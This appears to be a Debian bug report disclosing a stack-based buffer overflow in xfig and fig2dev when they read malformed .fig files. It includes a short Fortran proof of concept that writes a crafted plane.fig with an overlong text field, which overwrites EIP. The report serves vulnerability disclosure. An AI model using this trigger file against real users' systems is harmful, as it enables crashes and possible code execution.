Subject: xfig: buffer overflow in read .fig file Package: xfig Version: 1:3.2.5-rel-3 Severity: grave Justification: user security hole Tags: security
xfig and fig2dev in transfig package will buffer overflow when read .fig file. see poc file including. compile gfortran. -- PEDAMACHEPHEPTOLIONES & D.B. COOPER -- System Information: Debian Release: 5.0.3 APT prefers stable APT policy: (500, 'stable') Architecture: i386 (i686) Kernel: Linux 2.6.26-1-686-bigmem (SMP w/2 CPU cores) Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash Versions of packages xfig depends on: ii libc6 2.7-18 GNU C Library: Shared libraries ii libjpeg62 6b-14 The Independent JPEG Group's JPEG ii libpng12-0 1.2.27-2+lenny2 PNG library - runtime ii libx11-6 2:1.1.5-2 X11 client-side library ii libxi6 2:1.1.4-1 X11 Input extension library ii libxpm4 1:3.5.7-1 X11 pixmap library ii libxt6 1:1.0.5-3 X11 toolkit intrinsics library ii xaw3dg 1.5+E-17 Xaw3d widget set Versions of packages xfig recommends: ii transfig 1:3.2.5-rel-3.1 Utilities for converting XFig figu ii xfig-libs 1:3.2.5-rel-3 XFig image libraries and examples -- no debconf information
PROGRAM XFIG_POC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC C C XFIG <= 3.2.5B BUFFER OVERFLOW C TRANSFIG <= 3.2.5A (FIG2DEV SOFT) BUFFER OVERFLOW C WWW.XFIG.ORG C C AUTHORS: C * PEDAMACHEPHEPTOLIONES <pedamachepheptolio...@gmail.com> C * D.B. COOPER C C PROBLEM: C A STACK-BASED BUFFER OVERFLOW OCCURS IN read_1_3_textobject() C WHEN READING MALFORMED .FIG FILES C EIP IS OVERWRITTEN SO IT'S NOT JUST A CRASH C C TEST: C xfig plane.fig C fig2dev -L png plane.fig C (IT DOESN'T HAVE TO BE "PNG") C C SOLUTION: C DON'T TAKE .FIG CANDY FROM STRANGERS C C OLDSKOOL FORTRAN POCS FTW C CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC INTEGER I CHARACTER(LEN=167) :: STR DO 10 I=1,167 STR(I:I)='Z' 10 CONTINUE OPEN(11,FILE='plane.fig') WRITE(11,*) '0 1 2 3' WRITE(11,*) '4' WRITE(11,*) '1 2 3 4 5 6 7 '//STR CLOSE(11) WRITE(*,*) 'GREETZ: BACKUS AND BACCHUS' END PROGRAM XFIG_POC